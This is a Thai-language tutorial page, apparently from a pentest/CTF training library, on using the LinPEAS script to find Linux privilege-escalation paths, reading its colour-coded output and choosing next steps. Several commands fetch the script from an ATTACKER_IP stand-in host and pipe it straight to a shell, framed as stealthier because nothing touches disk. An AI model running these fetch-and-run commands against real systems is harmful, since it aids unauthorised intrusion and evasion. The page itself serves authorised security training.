คลัง
linux-privesc

LinPEAS

LinPEAS เป็น script enumeration อัตโนมัติสำหรับ Linux privilege escalation — สแกนระบบทุกด้านแล้ว highlight ช่องทาง privesc ด้วยสีตามความน่าจะเป็น บทนี้ลงลึกการรัน (รวมแบบไม่แตะ disk), การอ่านผลตามสี, การส่งไฟล์เข้าเป้าหมาย, และการใช้คู่ manual (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

BeginnerIntermediate#linpeas#linux#privesc#automated#peass#ctf

1. LinPEAS คืออะไร

LinPEAS (ในชุด PEASS-ng) เป็น script ที่รัน enumeration ครบทุกด้านอัตโนมัติ — system info, SUID/SGID, capabilities, cron, sudo, credential, kernel, service, network — แล้ว highlight ด้วยสีตามความน่าจะเป็นที่ใช้ privesc ได้ ประหยัดเวล่ามากเทียบ manual และมักจับสิ่งที่มองข้าม

เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, pentest) เท่านั้น

2. อ่านผลตามสี (สำคัญสุด)

สีความหมาย
แดง/เหลือง (Red/Yellow)95% เป็นช่องทาง privesc — ดูก่อน!
แดง (Red)น่าสนใจ ควรตรวจ
เหลือง (Yellow)อาจน่าสนใจ
ฟ้า (Blue)ข้อมูลทั่วไป (directory ฯลฯ)
เขียว (Green)ปกติ/ไม่ค่อยสำคัญ
โฟกัสที่ แดง/เหลืองพื้นหลัง (99% PE vector) ก่อน — LinPEAS เน้นสีนี้ให้สิ่งที่น่าจะ privesc ได้ทันที; รันด้วย -a เพื่อ scan ละเอียดสุด

3. การรัน (รวมแบบไม่แตะ disk)

ส่งเข้าเป้าหมาย + รันLinux
# วิธี 1: ส่งไฟล์เข้าเป้าหมาย (ถ้าเขียน disk ได้)
# บนเครื่องเรา: python3 -m http.server 80
# บนเป้าหมาย:
wget http://ATTACKER_IP/linpeas.sh -O /tmp/lp.sh
chmod +x /tmp/lp.sh && /tmp/lp.sh

# วิธี 2: รันใน memory (ไม่แตะ disk — เนียนกว่า)
curl http://ATTACKER_IP/linpeas.sh | sh
wget -qO- http://ATTACKER_IP/linpeas.sh | sh

# scan ละเอียดสุด
./linpeas.sh -a

# บันทึกผล (ดูทีหลัง) — เก็บสีด้วย
./linpeas.sh -a | tee /tmp/out.txt
# ดูแบบมีสี: less -r /tmp/out.txt
curl|sh รันใน memory ไม่แตะ disk (เนียน); -a scan ละเอียด; tee + less -r เก็บผลพร้อมสี

4. ส่วนผลที่ต้องดู

  • Sudo / SUID / Capabilities: ช่องทางตรงสุด → เทียบ GTFOBins
  • Cron jobs: script ที่รันโดย root ที่เราแก้ได้
  • Interesting writable files: ไฟล์ระบบที่เขียนได้
  • Possible kernel exploits: LinPEAS แนะนำ CVE ตาม kernel
  • Credentials: password ใน config/history/memory
  • Software with known exploits: เวอร์ชันเก่า
  • Network / internal services: port ที่ฟัง localhost

5. Quick Reference

  • script enumeration อัตโนมัติ — highlight privesc ด้วยสี
  • อ่านสี: แดง/เหลืองพื้นหลัง = 99% PE vector (ดูก่อน)
  • รัน in-memory: curl http://IP/linpeas.sh | sh (ไม่แตะ disk)
  • scan ละเอียด: ./linpeas.sh -a
  • เก็บผล: | tee out.txt; ดูสี: less -r out.txt
  • ดู: sudo/SUID/cap/cron/kernel/credential
  • ใช้คู่ manual enumeration

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเพิ่งได้ shell แรกบนเป้าหมาย มีแค่ Kali เปล่าๆ ยังไม่รู้ว่าจะไล่หาช่องทาง privesc จากตรงไหนก่อน — ใช้ LinPEAS เป็นด่านแรกเพื่อลดเวลาสแกนมือ ทำตามนี้ทีละขั้น

  1. 1บนเครื่อง Kali เปิด terminal ไปที่โฟลเดอร์ที่มี linpeas.sh แล้วรัน python3 -m http.server 80
  2. 2บนเป้าหมาย พิมพ์ curl http://ATTACKER_IP/linpeas.sh | sh เพื่อรันแบบ in-memory ไม่แตะ disk
  3. 3ถ้า pipe ตรงไม่ได้ (ไม่มี curl) ให้ wget http://ATTACKER_IP/linpeas.sh -O /tmp/lp.sh แล้ว chmod +x และรัน
  4. 4รอจนสแกนเสร็จ (อาจ 1-3 นาทีตามระบบ) แล้วเลื่อนหาบรรทัดพื้นหลังสีแดง/เหลืองก่อนเป็นอันดับแรก
  5. 5ถ้าเจอ SUID/SGID/capability ที่ highlight ไว้ ให้ไปที่หัวข้อ SUID/SGID/Capabilities เพื่อ exploit ต่อ
  6. 6ถ้าเจอ cron job หรือ writable file ที่ highlight ให้ไปหัวข้อ Cron Jobs หรือ Writable Scripts
  7. 7ถ้าไม่เห็นอะไรเด่นชัดเลย ให้รันซ้ำแบบละเอียดด้วย ./linpeas.sh -a | tee /tmp/out.txt แล้วเปิดดูด้วย less -r /tmp/out.txt
  8. 8ไล่ดูทีละ section: Sudo, SUID, Capabilities, Cron, Writable files, Kernel exploits, Credentials, Network
  9. 9ถ้ายังไม่เจออะไรเลย กลับไปทำ manual enumeration เพิ่มเติม เพราะ LinPEAS ก็พลาดได้บางกรณี
เจอ vector ใน LinPEAS แล้วไปหัวข้อไหน / ไม่เจอทำอะไรต่อ
python3 -m http.server 80 (Kali) → curl http://IP/linpeas.sh | sh (เป้าหมาย)
ไล่อ่านบรรทัดสีแดง/เหลืองพื้นหลังก่อน (99% PE vector)
✅ เจอ SUID/SGID ที่ไม่ปกติ→ ไปหัวข้อ SUID/SGID
✅ เจอ capability +ep บน interpreter→ ไปหัวข้อ Capabilities
✅ เจอ cron job ที่เขียนได้→ ไปหัวข้อ Cron Jobs
❌ ไม่เจออะไรเด่นชัดเลย→ รันแบบละเอียด -a แล้วไล่ดูทีละ section
ไม่มีสีแดง/เหลืองเลย → รัน ./linpeas.sh -a เก็บผลด้วย tee
เจอ writable file/PATH/NFS/docker group ในผลไหม?
✅ writable script/file→ ไปหัวข้อ Writable Scripts
✅ PATH สั่งแปลกๆ→ ไปหัวข้อ PATH Hijacking
✅ อยู่ docker/lxd group→ ไปหัวข้อ Docker Escape
✅ NFS no_root_squash→ ไปหัวข้อ NFS
❌ ไม่มีอะไรเลย→ เช็ค kernel version ในผลแทน
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
host ไฟล์ linpeas ให้เป้าหมายโหลดpython3 -m http.server--
ดาวน์โหลด linpeas บนเป้าหมายcurl, wgetgit clone PEASS-ng (ถ้าไม่มีในเครื่อง)github.com/peass-ng/PEASS-ng
รันแบบ in-memory ไม่แตะ diskcurl ... | sh--
เก็บผลพร้อมสีtee, less -r--
monitor process เสริม-pspy-
หา exploit เพิ่มจาก CVE ที่แนะนำsearchsploit-exploit-db.com
ยืนยัน vector ด้วยมือgetcap, find, sudo -l-gtfobins.github.io
🚑 ถ้าตันสนิท ลองท่าถัดไปตามที่ LinPEAS highlight: SUID/SGID · Capabilities · Cron Jobs (เมื่อ output ชี้มาตรงนั้น) · Kernel Exploitation (ถ้าไม่มี misconfig เลยและ kernel เก่ามาก) · กลับไป Linux Enumeration เพื่อทำ manual ควบคู่ เพราะ LinPEAS ไม่ได้จับทุกอย่างเสมอไป

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้